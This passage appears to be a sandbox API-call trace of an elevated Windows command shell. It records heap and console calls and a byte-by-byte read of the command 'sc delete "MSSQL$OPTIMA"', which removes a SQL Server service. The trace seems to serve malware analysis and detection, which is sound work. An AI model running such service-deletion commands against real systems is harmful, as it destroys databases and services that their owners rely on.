lpExitCode=0x14ed68*=0x424) returned 1 [0066.649] CloseHandle (hObject=0x50) returned 1 [0066.649] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.649] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.649] GetProcessHeap () returned 0x1b0000 [0066.649] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.649] GetEnvironmentStringsW () returned 0x1d1b10* [0066.649] GetProcessHeap () returned 0x1b0000 [0066.649] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.649] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.649] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.649] GetProcessHeap () returned 0x1b0000 [0066.649] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.649] GetEnvironmentStringsW () returned 0x1d1b10* [0066.649] GetProcessHeap () returned 0x1b0000 [0066.649] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0066.649] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.649] GetProcessHeap () returned 0x1b0000 [0066.649] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.649] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.649] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.650] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.650] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.650] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.650] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.651] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.651] GetConsoleOutputCP () returned 0x1b5 [0066.651] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.651] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.651] GetProcessHeap () returned 0x1b0000 [0066.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.651] GetProcessHeap () returned 0x1b0000 [0066.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.651] GetProcessHeap () returned 0x1b0000 [0066.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.651] GetProcessHeap () returned 0x1b0000 [0066.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0066.652] GetProcessHeap () returned 0x1b0000 [0066.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0066.652] GetProcessHeap () returned 0x1b0000 [0066.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.652] GetProcessHeap () returned 0x1b0000 [0066.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0066.652] GetProcessHeap () returned 0x1b0000 [0066.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.652] GetProcessHeap () returned 0x1b0000 [0066.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.652] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.652] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.652] GetFileType (hFile=0x120) returned 0x3 [0066.652] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.652] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.652] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.652] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.652] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.653] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.653] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.653] GetFileType (hFile=0x120) returned 0x3 [0066.653] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.653] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.653] GetFileType (hFile=0xb8) returned 0x3 [0066.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.654] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.654] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.654] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.654] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.654] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.655] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.655] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.655] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.655] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.655] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.655] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.655] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.655] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.655] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.655] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.655] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.655] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.655] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.655] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.656] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.656] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.656] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="QSQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.656] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.656] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.656] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="LQL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.656] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.656] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.656] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="AL$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.656] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.656] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.656] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="g$OPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.656] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.656] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.656] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="eOPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.657] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.657] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.657] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="nPTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.657] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.657] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.657] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="tTIMA\"\nr$OPTIMA\"\n") returned 1 [0066.657] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.657] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.657] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="$IMA\"\nr$OPTIMA\"\n") returned 1 [0066.657] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.657] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.657] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="OMA\"\nr$OPTIMA\"\n") returned 1 [0066.657] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.657] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.657] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="PA\"\nr$OPTIMA\"\n") returned 1 [0066.658] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.658] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.658] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="T\"\nr$OPTIMA\"\n") returned 1 [0066.658] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.658] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.658] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="I\nr$OPTIMA\"\n") returned 1 [0066.658] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.658] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.658] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="Mr$OPTIMA\"\n") returned 1 [0066.658] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.658] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.658] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="A$OPTIMA\"\n") returned 1 [0066.658] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.658] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.658] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="\"OPTIMA\"\n") returned 1 [0066.659] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.659] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.659] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.659] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="\nPTIMA\"\n") 